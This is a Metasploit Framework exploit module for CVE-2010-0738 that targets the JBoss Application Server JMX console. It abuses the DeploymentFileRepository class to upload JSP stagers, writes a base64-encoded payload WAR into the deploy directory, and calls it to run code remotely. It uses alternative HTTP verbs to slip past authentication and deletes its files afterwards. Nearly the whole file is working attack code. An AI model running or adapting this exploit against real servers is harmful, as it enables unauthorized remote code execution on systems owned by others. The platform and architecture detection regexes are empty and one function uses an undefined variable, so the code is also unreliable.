## # $Id: jboss_deploymentfilerepository.rb 15620 2012-07-12 07:33:06Z rapid7 $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Java Class DeploymentFileRepository WAR Deployment', 'Description' => %q{ This module uses the DeploymentFileRepository class in JBoss Application Server (jbossas) to deploy a JSP file which then deploys the WAR file. }, 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof', 'h0ng10' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], ], 'Privileged' => false, 'Platform' => ['java', 'linux', 'win' ], 'Targets' => [ # # do target detection but java meter by default # detect via /manager/serverinfo # [ 'Automatic (Java based)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', } ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], # # Java version # [ 'Java Universal', { 'Platform' => 'java', 'Arch' => ARCH_JAVA, } ] ], 'DisclosureDate' => "Apr 26 2010", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]) ], self.class) end def exploit jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) stager_base = rand_text_alpha(8+rand(8)) head_stager_jsp = rand_text_alpha(8+rand(8)) stager_jsp = rand_text_alpha(8+rand(8)) content_var = rand_text_alpha(8+rand(8)) decoded_var = rand_text_alpha(8+rand(8)) file_path_var = rand_text_alpha(8+rand(8)) jboss_home_var = rand_text_alpha(8+rand(8)) fos_var = rand_text_alpha(8+rand(8)) bw_var = rand_text_alpha(8+rand(8)) p = payload mytarget = target if (datastore['VERB'] == 'HEAD') print_status("Unable to automatically select a target with HEAD requests") else if (target.name =~ /Automatic/) mytarget = auto_target() if (not mytarget) fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else print_status("Using manually select target \"#{mytarget.name}\"") end arch = mytarget.arch end # set arch/platform from the target plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] # We must regenerate the payload in case our auto-magic changed something. return if ((p = exploit_regenerate_payload(plat, arch)) == nil) # Generate the WAR containing the payload war_data = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') # The following jsp script will write the stager to the # deploy/management directory. It is only used with HEAD/GET requests # to overcome the size limit in those requests head_stager_jsp_code = <<-EOT <%@page import="java.io.*, java.util.*" %> <% String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp"; if (request.getParameter("#{content_var}") != null) { try { String #{content_var} = ""; #{content_var} = request.getParameter("#{content_var}"); FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true); BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var}); #{bw_var}.write(#{content_var}); #{bw_var}.close(); } catch(Exception e) { } } %> EOT # The following jsp script will write the exploded WAR file to the deploy/ # directory or try to delete it stager_jsp_code = <<-EOT <%@page import="java.io.*, java.util.*, sun.misc.BASE64Decoder" %> <% String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war"; try { String #{content_var} = "#{encoded_payload}"; byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); #{fos_var}.write(#{decoded_var}); #{fos_var}.close(); } catch(Exception e) { } %> EOT # Depending on the type on the verb we might use a second stager if datastore['VERB'] == "POST" then print_status("Deploying stager for the WAR file") res = upload_file(stager_base, stager_jsp, stager_jsp_code) else print_status("Deploying minimal stager to upload the payload") res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code) head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?" # We split the stager_jsp_code in multipe junks and transfer on the # target with multiple requests current_pos = 0 while current_pos < stager_jsp_code.length next_pos = current_pos + 5000 + rand(100) junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos]) print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})") res = call_uri_mtimes(head_stager_uri + junk) current_pos += next_pos end end # Call the stager to deploy the payload war file # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. if (res.code == 200 || res.code == 500) print_status("Calling stager to deploy the payload warfile (might take some time)") stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp' stager_res = call_uri_mtimes(stager_uri) print_status("Try to call the deployed payload") # Try to execute the payload by calling the deployed WAR file payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' payload_res = call_uri_mtimes(payload_uri) # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD" delete_res = [] delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp') delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp') delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '') delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') delete_res.each do |res| if !res print_warning("WARNING: Unable to remove WAR [No Response]") elsif (res.code < 200 || res.code >= 300) print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end end handler end end # Upload a text file with DeploymentFileRepository.store() def upload_file(base_name, jsp_name, content) data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=store' data << '&argType=java.lang.String' data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war' data << '&argType=java.lang.String' data << '&arg1=' + jsp_name data << '&argType=java.lang.String' data << '&arg2=.jsp' data << '&argType=java.lang.String' data << '&arg3=' + Rex::Text.uri_encode(content) data << '&argType=boolean' data << '&arg4=True' if (datastore['VERB'] == "POST") res = send_request_cgi( { 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, 'method' => datastore['VERB'], }, 30) end res end # Delete a file with DeploymentFileRepository.remove(). def delete_file(folder, name, ext) data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=remove' data << '&argType=java.lang.String' data << '&arg0=' + folder data << '&argType=java.lang.String' data << '&arg1=' + name data << '&argType=java.lang.String' data << '&arg2=' + ext if (datastore['VERB'] == "POST") res = send_request_cgi( { 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, 'method' => datastore['VERB'], }, 30) end res end # Call the URL multiple times until we have hit def call_uri_mtimes(uri, num_attempts = 5) verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| res = send_request_cgi({ 'uri' => uri, 'method' => verb }, 30) stripped_uri = uri[0,70] + "..." msg = nil if (!res) msg = "Execution failed on #{stripped_uri} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "http request failed to #{stripped_uri} [#{res.code}]" elsif (res.code == 200) print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE'] return res end if (attempt < num_attempts - 1) msg << ", retrying in 5 seconds..." print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else print_error(msg) return res end end end def auto_target print_status("Attempting to automatically select a target...") res = query_serverinfo if not (plat = detect_platform(res)) fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') end if not (arch = detect_architecture(res)) fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') end # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } # no matching target found, use Java as fallback java_targets = targets.select {|t| t.name =~ /^Java/ } return java_targets[0] end def query_serverinfo path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, 'method' => datastore['VERB'] }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end res end # Try to autodetect the target platform def detect_platform(res) if (res.body =~ //m) os = $1 if (os =~ /Linux/i) return 'linux' elsif (os =~ /FreeBSD/i) return 'linux' elsif (os =~ /Windows/i) return 'win' end end nil end # Try to autodetect the target architecture def detect_architecture(res) if (res.body =~ //m) arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 elsif (os =~ /(x86_64|amd64)/i) return ARCH_X86 end end nil end end